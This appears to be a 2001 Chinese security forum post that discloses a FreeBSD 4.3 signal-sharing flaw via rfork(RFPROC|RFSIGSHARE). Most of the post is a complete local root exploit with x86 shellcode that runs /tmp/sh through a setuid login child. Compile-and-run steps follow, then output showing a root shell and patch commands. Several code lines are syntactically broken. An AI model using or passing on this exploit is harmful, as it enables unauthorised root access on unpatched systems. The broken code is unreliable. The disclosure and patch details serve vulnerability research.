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发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。
利用此漏洞,本地攻击者能取得 root 权限。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
-------------vvfreebsd.c----------------------
/*
FreeBSD 4.3 local root exploit using shared signals.
Written by Georgi Guninski http://www.guninski.com
*/
#include <stdio.h>;
#include <signal.h>;
#include <unistd.h>;
int vv1;
#define MYSIG SIGINT
//exec "/tmp/sh", shellcode gotten from the internet and modified
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80\x90\x90\x90";
typedef (*PROG)();
extern char **environ;
int main(int ac,char **av)
{
int pid;
//(*(PROG)bsdshell)();
if(!(vv1=getenv("vv"))
{
setenv("vv",bsdshell,1);
if(!execle(av[0],"vv",NULL,environ))
{
perror("weird exec"
exit(1);
}
}
printf("vvfreebsd. Written by Georgi Guninski\n"
printf("shall jump to %x\n",vv1);
if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
if(!execl("/usr/bin/login","login",0))
{
perror("exec setuid failed"
exit(2);
};
}
sleep(2);
signal(MYSIG,(sig_t)vv1);
sleep(2);
kill(pid,MYSIG);
printf("done\n"
while(42);
}
----------------------------------------------
受影响版本:
FreeBSD 4.3 4.2 4.1 4.0
早期版本也许受影响
解决方案:
尚无
****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ******
测试程序使用方法:
netdemon%gcc -o vvbsd vvbsd.c
netdemon%cp /bin/sh /tmp
netdemon%./vvbsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71
child=61056
login:
login: # done
#
FreeBSD以此作出补丁
方法:
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc
# cd /usr/src/sys/kern
# patch -p < /path/to/patch
转自20世纪网络安全小组
[img http://asp.6to23.com/cnean/bbs/pic/LOGO.GIF\img]
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